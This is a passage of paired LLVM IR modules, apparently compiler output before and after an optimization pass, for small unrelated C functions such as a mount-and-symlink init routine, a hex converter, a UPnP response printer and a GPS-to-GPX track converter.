%27 = load i32, ptr @S_IROTH, align 4
%28 = or i32 %26, %27
%29 = load i32, ptr @S_IXOTH, align 4
%30 = or i32 %28, %29
%31 = call i32 @mkdir(ptr noundef @.str.2, i32 noundef %30)
store i32 %31, ptr %1, align 4
%32 = load i32, ptr @S_IRWXU, align 4
%33 = load i32, ptr @S_IRGRP, align 4
%34 = or i32 %32, %33
%35 = load i32, ptr @S_IXGRP, align 4
%36 = or i32 %34, %35
%37 = load i32, ptr @S_IROTH, align 4
%38 = or i32 %36, %37
%39 = load i32, ptr @S_IXOTH, align 4
%40 = or i32 %38, %39
%41 = call i32 @mkdir(ptr noundef @.str.3, i32 noundef %40)
store i32 %41, ptr %1, align 4
%42 = load i32, ptr @S_IRWXU, align 4
%43 = load i32, ptr @S_IRGRP, align 4
%44 = or i32 %42, %43
%45 = load i32, ptr @S_IXGRP, align 4
%46 = or i32 %44, %45
%47 = load i32, ptr @S_IROTH, align 4
%48 = or i32 %46, %47
%49 = load i32, ptr @S_IXOTH, align 4
%50 = or i32 %48, %49
%51 = call i32 @mkdir(ptr noundef @.str.4, i32 noundef %50)
store i32 %51, ptr %1, align 4
%52 = call i32 (...) @kattach_thedawn_init_devlist()
%53 = call i32 (...) @kattach_thedawn_devlist_add()
%54 = load i32, ptr @MS_RELATIME, align 4
%55 = call i32 @mount(ptr noundef @.str.5, ptr noundef @.str.2, ptr noundef @.str.5, i32 noundef %54, ptr noundef @.str.6)
store i32 %55, ptr %1, align 4
%56 = load i32, ptr @MS_RELATIME, align 4
%57 = call i32 @mount(ptr noundef @.str.7, ptr noundef @.str.1, ptr noundef @.str.7, i32 noundef %56, ptr noundef @.str.8)
store i32 %57, ptr %1, align 4
%58 = call i32 @symlink(ptr noundef @.str.9, ptr noundef @.str.10)
store i32 %58, ptr %1, align 4
%59 = call i32 @symlink(ptr noundef @.str.11, ptr noundef @.str.12)
store i32 %59, ptr %1, align 4
%60 = call i32 @symlink(ptr noundef @.str.13, ptr noundef @.str.14)
store i32 %60, ptr %1, align 4
%61 = call i32 @symlink(ptr noundef @.str.15, ptr noundef @.str.16)
store i32 %61, ptr %1, align 4
ret void
}
declare i32 @mkdir(ptr noundef, i32 noundef) #1
declare i32 @kattach_thedawn_init_devlist(...) #1
declare i32 @kattach_thedawn_devlist_add(...) #1
declare i32 @mount(ptr noundef, ptr noundef, ptr noundef, i32 noundef, ptr noundef) #1
declare i32 @symlink(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpsh6a3qd8.c'
source_filename = "/tmp/tmpsh6a3qd8.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local signext i8 @charsToHex(i8 noundef signext %0, i8 noundef signext %1) #0 {
%3 = alloca i8, align 1
%4 = alloca i8, align 1
%5 = alloca i8, align 1
%6 = alloca i8, align 1
store i8 %0, ptr %3, align 1
store i8 %1, ptr %4, align 1
%7 = load i8, ptr %3, align 1
%8 = call signext i8 @charToHex(i8 noundef signext %7)
store i8 %8, ptr %5, align 1
%9 = load i8, ptr %4, align 1
%10 = call signext i8 @charToHex(i8 noundef signext %9)
store i8 %10, ptr %6, align 1
%11 = load i8, ptr %5, align 1
%12 = sext i8 %11 to i32
%13 = shl i32 %12, 4
%14 = load i8, ptr %6, align 1
%15 = sext i8 %14 to i32
%16 = add nsw i32 %13, %15
%17 = trunc i32 %16 to i8
ret i8 %17
}
declare signext i8 @charToHex(i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpsh6a3qd8.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local signext i8 @charsToHex(i8 noundef signext %0, i8 noundef signext %1) #0 {
%3 = alloca i8, align 1
%4 = alloca i8, align 1
%5 = alloca i8, align 1
%6 = alloca i8, align 1
store i8 %0, ptr %3, align 1
store i8 %1, ptr %4, align 1
%7 = load i8, ptr %3, align 1
%8 = call signext i8 @charToHex(i8 noundef signext %7)
store i8 %8, ptr %5, align 1
%9 = load i8, ptr %4, align 1
%10 = call signext i8 @charToHex(i8 noundef signext %9)
store i8 %10, ptr %6, align 1
%11 = load i8, ptr %5, align 1
%12 = sext i8 %11 to i32
%13 = shl i32 %12, 4
%14 = load i8, ptr %6, align 1
%15 = sext i8 %14 to i32
%16 = add nsw i32 %13, %15
%17 = trunc i32 %16 to i8
ret i8 %17
}
declare signext i8 @charToHex(i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp6wp22bbi.c'
source_filename = "/tmp/tmp6wp22bbi.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stdout = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp6wp22bbi.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stdout = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpn0og0ba2.c'
source_filename = "/tmp/tmpn0og0ba2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [50 x i8] c"[component_enemy_blob_free] handle cannot be NULL\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @component_enemy_blob_free(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = icmp ne ptr %3, null
br i1 %4, label %7, label %5
5: ; preds = %1
%6 = call i32 @debug_warning(ptr noundef @.str)
br label %10
7: ; preds = %1
%8 = load ptr, ptr %2, align 8
%9 = call i32 @h_free(ptr noundef %8)
br label %10
10: ; preds = %7, %5
ret void
}
declare i32 @debug_warning(ptr noundef) #1
declare i32 @h_free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpn0og0ba2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [50 x i8] c"[component_enemy_blob_free] handle cannot be NULL\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @component_enemy_blob_free(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = icmp ne ptr %3, null
br i1 %4, label %7, label %5
5: ; preds = %1
%6 = call i32 @debug_warning(ptr noundef @.str)
br label %10
7: ; preds = %1
%8 = load ptr, ptr %2, align 8
%9 = call i32 @h_free(ptr noundef %8)
br label %10
10: ; preds = %7, %5
ret void
}
declare i32 @debug_warning(ptr noundef) #1
declare i32 @h_free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp2eyx43mk.c'
source_filename = "/tmp/tmp2eyx43mk.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @sys_futex(i32 noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store ptr %2, ptr %6, align 8
%7 = load i32, ptr %4, align 4
%8 = load ptr, ptr %5, align 8
%9 = call i32 @exec_by_all_variants(i32 noundef %7, ptr noundef %8)
ret void
}
declare i32 @exec_by_all_variants(i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp2eyx43mk.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @sys_futex(i32 noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store ptr %2, ptr %6, align 8
%7 = load i32, ptr %4, align 4
%8 = load ptr, ptr %5, align 8
%9 = call i32 @exec_by_all_variants(i32 noundef %7, ptr noundef %8)
ret void
}
declare i32 @exec_by_all_variants(i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmplnfjl5mu.c'
source_filename = "/tmp/tmplnfjl5mu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [76 x i8] c"RND Invoke Response: AVTransport/GetTransportInfo[ErrorCode:%d](%s,%s,%s)\0D\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @RNDResponseSink_AVTransport_GetTransportInfo(ptr noundef %0, i32 noundef %1, ptr noundef %2, ptr noundef %3, ptr noundef %4, ptr noundef %5) #0 {
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
%9 = alloca ptr, align 8
%10 = alloca ptr, align 8
%11 = alloca ptr, align 8
%12 = alloca ptr, align 8
store ptr %0, ptr %7, align 8
store i32 %1, ptr %8, align 4
store ptr %2, ptr %9, align 8
store ptr %3, ptr %10, align 8
store ptr %4, ptr %11, align 8
store ptr %5, ptr %12, align 8
%13 = load i32, ptr %8, align 4
%14 = load ptr, ptr %10, align 8
%15 = load ptr, ptr %11, align 8
%16 = load ptr, ptr %12, align 8
%17 = call i32 @printf(ptr noundef @.str, i32 noundef %13, ptr noundef %14, ptr noundef %15, ptr noundef %16)
ret void
}
declare i32 @printf(ptr noundef, i32 noundef, ptr noundef, ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmplnfjl5mu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [76 x i8] c"RND Invoke Response: AVTransport/GetTransportInfo[ErrorCode:%d](%s,%s,%s)\0D\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @RNDResponseSink_AVTransport_GetTransportInfo(ptr noundef %0, i32 noundef %1, ptr noundef %2, ptr noundef %3, ptr noundef %4, ptr noundef %5) #0 {
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
%9 = alloca ptr, align 8
%10 = alloca ptr, align 8
%11 = alloca ptr, align 8
%12 = alloca ptr, align 8
store ptr %0, ptr %7, align 8
store i32 %1, ptr %8, align 4
store ptr %2, ptr %9, align 8
store ptr %3, ptr %10, align 8
store ptr %4, ptr %11, align 8
store ptr %5, ptr %12, align 8
%13 = load i32, ptr %8, align 4
%14 = load ptr, ptr %10, align 8
%15 = load ptr, ptr %11, align 8
%16 = load ptr, ptr %12, align 8
%17 = call i32 @printf(ptr noundef @.str, i32 noundef %13, ptr noundef %14, ptr noundef %15, ptr noundef %16)
ret void
}
declare i32 @printf(ptr noundef, i32 noundef, ptr noundef, ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp3idj5ae6.c'
source_filename = "/tmp/tmp3idj5ae6.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [22 x i8] c"<!-- next sector -->\0A\00", align 1
@.str.1 = private unnamed_addr constant [20 x i8] c"</trkseg>\0A<trkseg>\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i64 @process_buffer(ptr noundef %0, i32 noundef %1, i64 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca i64, align 8
%7 = alloca i32, align 4
%8 = alloca i64, align 8
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca double, align 8
%14 = alloca double, align 8
%15 = alloca double, align 8
%16 = alloca i32, align 4
%17 = alloca i64, align 8
store ptr %0, ptr %4, align 8
store i32 %1, ptr %5, align 4
store i64 %2, ptr %6, align 8
store i32 0, ptr %7, align 4
store i32 0, ptr %16, align 4
%18 = load i64, ptr %6, align 8
store i64 %18, ptr %17, align 8
%19 = call i32 @printf(ptr noundef @.str)
br label %20
20: ; preds = %111, %3
%21 = load i32, ptr %7, align 4
%22 = load i32, ptr %5, align 4
%23 = icmp slt i32 %21, %22
br i1 %23, label %24, label %113
24: ; preds = %20
%25 = load ptr, ptr %4, align 8
%26 = load i32, ptr %7, align 4
%27 = sext i32 %26 to i64
%28 = getelementptr inbounds i8, ptr %25, i64 %27
%29 = load i8, ptr %28, align 1
%30 = zext i8 %29 to i32
%31 = and i32 %30, 64
%32 = icmp ne i32 %31, 0
br i1 %32, label %33, label %71
33: ; preds = %24
%34 = load ptr, ptr %4, align 8
%35 = load i32, ptr %7, align 4
%36 = sext i32 %35 to i64
%37 = getelementptr inbounds i8, ptr %34, i64 %36
%38 = call i32 @decode_long_entry(ptr noundef %37, ptr noundef %8, ptr noundef %9, ptr noundef %10, ptr noundef %11, ptr noundef %12)
%39 = load i32, ptr %9, align 4
%40 = load i32, ptr %10, align 4
%41 = load i32, ptr %11, align 4
%42 = call i32 @ecef_to_geo(i32 noundef %39, i32 noundef %40, i32 noundef %41, ptr noundef %14, ptr noundef %13, ptr noundef %15)
%43 = load ptr, ptr %4, align 8
%44 = load i32, ptr %7, align 4
%45 = sext i32 %44 to i64
%46 = getelementptr inbounds i8, ptr %43, i64 %45
%47 = load i8, ptr %46, align 1
%48 = zext i8 %47 to i32
%49 = and i32 %48, 32
%50 = icmp ne i32 %49, 0
br i1 %50, label %51, label %52
51: ; preds = %33
store i32 1, ptr %16, align 4
br label %52
52: ; preds = %51, %33
%53 = load i64, ptr %17, align 8
%54 = icmp sgt i64 %53, 0
br i1 %54, label %55, label %62
55: ; preds = %52
%56 = load i64, ptr %8, align 8
%57 = load i64, ptr %17, align 8
%58 = add nsw i64 %57, 3600
%59 = icmp sgt i64 %56, %58
br i1 %59, label %60, label %62
60: ; preds = %55
%61 = call i32 @printf(ptr noundef @.str.1)
br label %62
62: ; preds = %60, %55, %52
%63 = load i64, ptr %8, align 8
%64 = load double, ptr %13, align 8
%65 = load double, ptr %14, align 8
%66 = load double, ptr %15, align 8
%67 = load i32, ptr %12, align 4
%68 = call i32 @output_gpx_trk_point(i64 noundef %63, double noundef %64, double noundef %65, double noundef %66, i32 noundef %67)
%69 = load i32, ptr %7, align 4
%70 = add nsw i32 %69, 18
store i32 %70, ptr %7, align 4
br label %111
71: ; preds = %24
%72 = load ptr, ptr %4, align 8
%73 = load i32, ptr %7, align 4
%74 = sext i32 %73 to i64
%75 = getelementptr inbounds i8, ptr %72, i64 %74
%76 = load i8, ptr %75, align 1
%77 = zext i8 %76 to i32
%78 = icmp eq i32 %77, 128
br i1 %78, label %79, label %107
79: ; preds = %71
%80 = load ptr, ptr %4, align 8
%81 = load i32, ptr %7, align 4
%82 = sext i32 %81 to i64
%83 = getelementptr inbounds i8, ptr %80, i64 %82
%84 = call i32 @decode_short_entry(ptr noundef %83, ptr noundef %8, ptr noundef %9, ptr noundef %10, ptr noundef %11, ptr noundef %12)
%85 = load i32, ptr %9, align 4
%86 = load i32, ptr %10, align 4
%87 = load i32, ptr %11, align 4
%88 = call i32 @ecef_to_geo(i32 noundef %85, i32 noundef %86, i32 noundef %87, ptr noundef %14, ptr noundef %13, ptr noundef %15)
%89 = load i64, ptr %17, align 8
%90 = icmp sgt i64 %89, 0
br i1 %90, label %91, label %98
91: ; preds = %79
%92 = load i64, ptr %8, align 8
%93 = load i64, ptr %17, align 8
%94 = add nsw i64 %93, 3600
%95 = icmp sgt i64 %92, %94
br i1 %95, label %96, label %98
96: ; preds = %91
%97 = call i32 @printf(ptr noundef @.str.1)
br label %98
98: ; preds = %96, %91, %79
%99 = load i64, ptr %8, align 8
%100 = load double, ptr %13, align 8
%101 = load double, ptr %14, align 8
%102 = load double, ptr %15, align 8
%103 = load i32, ptr %12, align 4
%104 = call i32 @output_gpx_trk_point(i64 noundef %99, double noundef %100, double noundef %101, double noundef %102, i32 noundef %103)
%105 = load i32, ptr %7, align 4
%106 = add nsw i32 %105, 8
store i32 %106, ptr %7, align 4
br label %110
107: ; preds = %71
%108 = load i32, ptr %7, align 4
%109 = add nsw i32 %108, 1
store i32 %109, ptr %7, align 4
br label %110
110: ; preds = %107, %98
br label %111
111: ; preds = %110, %62
%112 = load i64, ptr %8, align 8
store i64 %112, ptr %17, align 8
br label %20, !llvm.loop !6
113: ; preds = %20
%114 = load i64, ptr %17, align 8
ret i64 %114
}
declare i32 @printf(ptr noundef) #1
declare i32 @decode_long_entry(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @ecef_to_geo(i32 noundef, i32 noundef, i32 noundef, ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @output_gpx_trk_point(i64 noundef, double noundef, double noundef, double noundef, i32 noundef) #1
declare i32 @decode_short_entry(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp3idj5ae6.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [22 x i8] c"<!-- next sector -->\0A\00", align 1
@.str.1 = private unnamed_addr constant [20 x i8] c"</trkseg>\0A<trkseg>\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i64 @process_buffer(ptr noundef %0, i32 noundef %1, i64 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca i64, align 8
%7 = alloca i32, align 4
%8 = alloca i64, align 8
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca double, align 8
%14 = alloca double, align 8
%15 = alloca double, align 8
%16 = alloca i32, align 4
%17 = alloca i64, align 8
store ptr %0, ptr %4, align 8
store i32 %1, ptr %5, align 4
store i64 %2, ptr %6, align 8
store i32 0, ptr %7, align 4
store i32 0, ptr %16, align 4
%18 = load i64, ptr %6, align 8
store i64 %18, ptr %17, align 8
%19 = call i32 @printf(ptr noundef @.str)
%20 = load i32, ptr %7, align 4
%21 = load i32, ptr %5, align 4
%22 = icmp slt i32 %20, %21
br i1 %22, label %.lr.ph, label %115
.lr.ph: ; preds = %3
br label %23
23: ; preds = %.lr.ph, %110
%24 = load ptr, ptr %4, align 8
%25 = load i32, ptr %7, align 4
%26 = sext i32 %25 to i64
%27 = getelementptr inbounds i8, ptr %24, i64 %26
%28 = load i8, ptr %27, align 1
%29 = zext i8 %28 to i32
%30 = and i32 %29, 64
%31 = icmp ne i32 %30, 0
br i1 %31, label %32, label %70
32: ; preds = %23
%33 = load ptr, ptr %4, align 8
%34 = load i32, ptr %7, align 4
%35 = sext i32 %34 to i64
%36 = getelementptr inbounds i8, ptr %33, i64 %35
%37 = call i32 @decode_long_entry(ptr noundef %36, ptr noundef %8, ptr noundef %9, ptr noundef %10, ptr noundef %11, ptr noundef %12)
%38 = load i32, ptr %9, align 4
%39 = load i32, ptr %10, align 4
%40 = load i32, ptr %11, align 4
%41 = call i32 @ecef_to_geo(i32 noundef %38, i32 noundef %39, i32 noundef %40, ptr noundef %14, ptr noundef %13, ptr noundef %15)
%42 = load ptr, ptr %4, align 8
%43 = load i32, ptr %7, align 4
